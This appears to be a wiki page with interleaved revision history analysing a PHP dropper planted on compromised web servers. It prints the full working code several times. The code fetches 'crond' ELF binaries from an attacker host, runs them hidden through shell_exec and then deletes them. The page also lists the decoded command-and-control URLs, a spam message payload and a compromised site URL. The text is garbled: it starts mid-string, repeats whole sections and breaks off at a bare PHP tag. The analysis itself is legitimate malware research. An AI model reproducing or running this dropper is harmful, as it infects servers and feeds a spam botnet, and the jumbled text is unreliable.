YzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
</syntaxhighlight>

The attacker will see the following outputs:

<syntaxhighlight lang="text">
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>

The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

The decoded value of the environment variable:
<syntaxhighlight lang="text">
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
</syntaxhighlight>

There are three URLs that the program will fetch data from.
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: hxxp://bat.touchpadz.com/aa2.php
# su: hxxp://stat.touchpadz.com/gj13.php

The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text">
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
</syntaxhighlight>

The <code>su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight>

== Email Links ==
Each spam message appears to contain random explicit words (or that it really is bad English) and one link that is hosted on an exploited server.

The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
* hxxp://touch.touchpadz.com/empty22.gif

PHP Shell Exploit

2015-05-08T04:46:05Z

10.1.1.3:

PHP Shell Exploit

2015-05-07T03:39:25Z

10.1.1.3:

PHP Shell Exploit

2015-05-07T03:10:51Z

10.1.1.3:

<syntaxhighlight lang="php">
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}

</syntaxhighlight>

The attacker will see the following outputs:

<syntaxhighlight lang="text">
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>

The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

The decoded value of the environment variable:
<syntaxhighlight lang="text">
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
</syntaxhighlight>

There are three URLs that the program will fetch data from.
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: hxxp://bat.touchpadz.com/aa2.php
# su: hxxp://stat.touchpadz.com/gj13.php

The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text">
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
</syntaxhighlight>

The <code>su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight>

PHP Shell Exploit

2015-05-06T03:53:50Z

10.1.1.3:

<syntaxhighlight lang="php">
<?php
